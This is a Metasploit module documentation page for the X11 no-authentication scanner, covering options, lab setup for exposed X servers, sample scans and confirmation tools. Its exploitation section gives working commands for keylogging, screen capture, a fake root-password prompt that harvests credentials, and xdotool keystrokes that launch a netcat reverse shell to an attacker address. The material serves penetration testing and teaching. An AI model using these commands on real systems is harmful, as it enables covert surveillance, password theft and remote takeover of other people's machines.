X11 No-Auth Scanner - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/x11/open_x11 metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: X11 No-Auth Scanner
Module: auxiliary/scanner/x11/open_x11
Source code: modules/auxiliary/scanner/x11/open_x11.rb
Disclosure date: -
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 6000
List of CVEs: CVE-1999-0526

This module scans for X11 servers that allow anyone to connect without authentication.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/x11/open_x11
msf auxiliary(open_x11) > show options
    ... show and set options ...
msf auxiliary(open_x11) > set RHOSTS ip-range
msf auxiliary(open_x11) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(open_x11) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(open_x11) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(open_x11) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


X11 (X Window System) is a graphical windowing system most common on unix/linux, although implementations may be found in windows with software such as Hummingbird Exceed X Server. The service can accept connections from any users when misconfigured which is done with the command xhost +.

Ubuntu 10.04

  1. sudo nano /etc/gdm/gdm.schemas
  2. Find:

    
     security/DisallowTCP
     b
     true
    
    
    • Change true to false
  3. logout or reboot

  4. Verification: sudo netstat -antp | grep 6000

    tcp        0      0 0.0.0.0:6000            0.0.0.0:*               LISTEN      1806/X
    
  5. Now, to verify you allow ANYONE to get on X11, type: xhost +

Ubuntu 12.04, 14.04

  1. sudo nano /etc/lightdm/lightdm.conf
  2. Under the [SeatDefaults] area, add:

    xserver-allow-tcp=true
    allow-guest=true
    
  3. logout or reboot

  4. Verification: sudo netstat -antp | grep 6000

    tcp        0      0 0.0.0.0:6000            0.0.0.0:*               LISTEN      1806/X
    
  5. Now, to verify you allow ANYONE to get on X11, type: xhost +

Ubuntu 16.04

Use the Ubuntu 12.04 instructions, however change SeatDefaults to Seat:*

Fedora 15

  1. vi /etc/gdm/custom.conf
  2. Under the [security] area, add:

    DisallowTCP=false
    
  3. logout/reboot

  4. Now, to verify you allow ANYONE to get on X11, type: xhost +

Solaris 10

  1. svccfg -s svc:/application/x11/x11-server setprop options/tcp_listen = true
  2. svc disable cde-login
  3. svc enable cde-login
  4. xhost +

Verification Steps


  1. Install and configure X11
  2. Start msfconsole
  3. Do: use auxiliary/scanner/x11/open_x11
  4. Do: set rhosts [IPs]
  5. Do: run

Scenarios


A run against Ubuntu 14.04 (192.168.2.75), Ubuntu 16.04 (192.168.2.26), and Solaris 10 (192.168.2.32)

    msf > use auxiliary/scanner/x11/open_x11 
    msf auxiliary(open_x11) > set rhosts 192.168.2.75 192.168.2.26
    rhosts => 192.168.2.75 192.168.2.26
    msf auxiliary(open_x11) > run

    [+] 192.168.2.75:6000     - 192.168.2.75 Open X Server (The X.Org Foundation)
    [*] Scanned 1 of 3 hosts (33% complete)
    [+] 192.168.2.26:6000     - 192.168.2.26 Open X Server (The X.Org Foundation)
    [*] Scanned 2 of 3 hosts (66% complete)
    [+] 192.168.2.32:6000     - 192.168.2.32 Open X Server (Sun Microsystems, Inc.)
    [*] Auxiliary module execution completed

Confirming


The following are other industry tools which can also be used.

nmap

# nmap -p 6000 --script=x11-access 192.168.2.26,75

Starting Nmap 7.40 ( https://nmap.org ) at 2017-04-23 13:15 EDT
Nmap scan report for ubuntu-desktop-16 (192.168.2.26)
Host is up (0.0021s latency).
PORT     STATE SERVICE
6000/tcp open  X11
|_x11-access: X server access is granted
MAC Address: 00:0C:29:60:27:F9 (VMware)

Nmap scan report for ubuntu-desktop-14 (192.168.2.75)
Host is up (0.0021s latency).
PORT     STATE SERVICE
6000/tcp open  X11
|_x11-access: X server access is granted
MAC Address: 00:0C:29:0E:C4:6E (VMware)

xdpyinfo

This is one of the standard linux tools to get info on an X display.

# xdpyinfo -display 192.168.2.75:0 | head -n 5

name of display:    192.168.2.75:0
version number:    11.0
vendor string:    The X.Org Foundation
vendor release number:    11803000
X.Org version: 1.18.3

Exploitation


Exploiting this mis-configuration has several methods. The target can have their display viewed, keystrokes logged, and potential keyboard typed.

Keylogging

To keylog the remote host, we use a tool called xspy

xspy -display [ip]:0

Screen Monitoring

Entire Display


It is possible to monitor the entire display (all windows) and view the content.

  • Take a screenshot: xwd -root -display [ip]:[display] -out xdump.xdump
  • View screenshot: display xdump.xdump or xwud -in xdump.xdump

Specific Window


To monitor only a single window (a terminal for instance)

First, we need to determine which windows are available and what their processes are:

  • xwininfo -tree -root -display [ip]:0

Once you determine which window you want to monitor, you'll want to use the windowID. Now use the application xwatchwin

  • xwatchwin [ip]:0 -w [windowID]

Social Engineering

Obviously watching keystrokes is good, but we want to coax the user into providing their password. We can do this by using xterm to display a login box to the user.

This was tested against Ubuntu 12.04, 14.04, 16.04 and Solaris 10.

  1. start xspy
  2. xterm -T "Root Permission Required" -display [ip]:0 -e "echo -e -n 'root password: '; read passwd; echo 'Authentication Failure'; echo -e -n 'root password: '; read passwd"
    • Notice it asks twice for the password incase of a mistyped initial password. This can also be adjusted to just say password or the real user's username
    • The victim's typed text by the user will not be masked (*)

Direct Exploitation

Use exploits/unix/x11/x11_keyboard_exec

Typing Commands

Similar to the method exploits/unix/x11/x11_keyboard_exec uses, its possible to use xdotool to run commands on the remote system.

To install xdotool on kali simply run apt-get install xdotool

Now, you can directly interact by typing commands (which appear on the users screen), an example would be running xterm and launching netcat.

For this scenario we run a simple reverse netcat to 192.168.2.9:80

xdotool key alt+F2
xdotool key x t e r m
xdotool key KP_Enter
xdotool key n c space 1 9 2 period 1 6 8 period 2 period 9 space 8 0 space minus e space slash b i n slash b a s h KP_Enter

Go back to menu.

Msfconsole Usage


Here is how the scanner/x11/open_x11 auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/x11/open_x11

msf6 auxiliary(scanner/x11/open_x11) > show info

       Name: X11 No-Auth Scanner
     Module: auxiliary/scanner/x11/open_x11
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  tebo <[email protected]>

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT    6000             yes       The target port (TCP)
  THREADS  1                yes       The number of concurrent threads (max one per host)

Description:
  This module scans for X11 servers that allow anyone to connect 
  without authentication.

References:
  OSVDB (309)
  https://nvd.nist.gov/vuln/detail/CVE-1999-0526

Module Options


This is a complete list of options available in the scanner/x11/open_x11 auxiliary module:

msf6 auxiliary(scanner/x11/open_x11) > show options

Module options (auxiliary/scanner/x11/open_x11):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    6000             yes       The target port (TCP)
   THREADS  1                yes       The number of concurrent threads (max one per host)

Advanced Options


Here is a complete list of advanced options supported by the scanner/x11/open_x11 auxiliary module:

msf6 auxiliary(scanner/x11/open_x11) > show advanced

Module advanced options (auxiliary/scanner/x11/open_x11):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   CHOST                                 no        The local client address
   CPORT                                 no        The local client port
   ConnectTimeout       10               yes       Maximum number of seconds to establish a TCP connection
   Proxies                               no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL                  false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                             no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode        PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion           Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress         true             yes       Display progress messages during a scan
   ShowProgressPercent  10               yes       The interval in percent that progress should be shown
   VERBOSE              false            no        Enable detailed status messages
   WORKSPACE                             no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/x11/open_x11 module can do:

msf6 auxiliary(scanner/x11/open_x11) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the scanner/x11/open_x11 auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/x11/open_x11) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No response received due to a timeout


Here is a relevant code snippet related to the "No response received due to a timeout" error message:

42:	      disconnect
43:	
44:	      if response
45:	        success = response[0,1].unpack('C')[0]
46:	      else
47:	        print_error("No response received due to a timeout")
48:	        return
49:	      end
50:	
51:	
52:	      if(success == 1)

<IP> Access Denied


Here is a relevant code snippet related to the "<IP> Access Denied" error message:

61:	          :port	=> rport,
62:	          :type	=> 'Open X Server',
63:	          :data	=> "Open X Server (#{vendor})"
64:	      )
65:	      elsif (success == 0)
66:	        print_error("#{ip} Access Denied")
67:	      else
68:	        # X can return a reason for auth failure but we don't really care for this
69:	      end
70:	
71:	    rescue ::Rex::ConnectionError

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • tebo <tebodell[at]gmail.com>

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.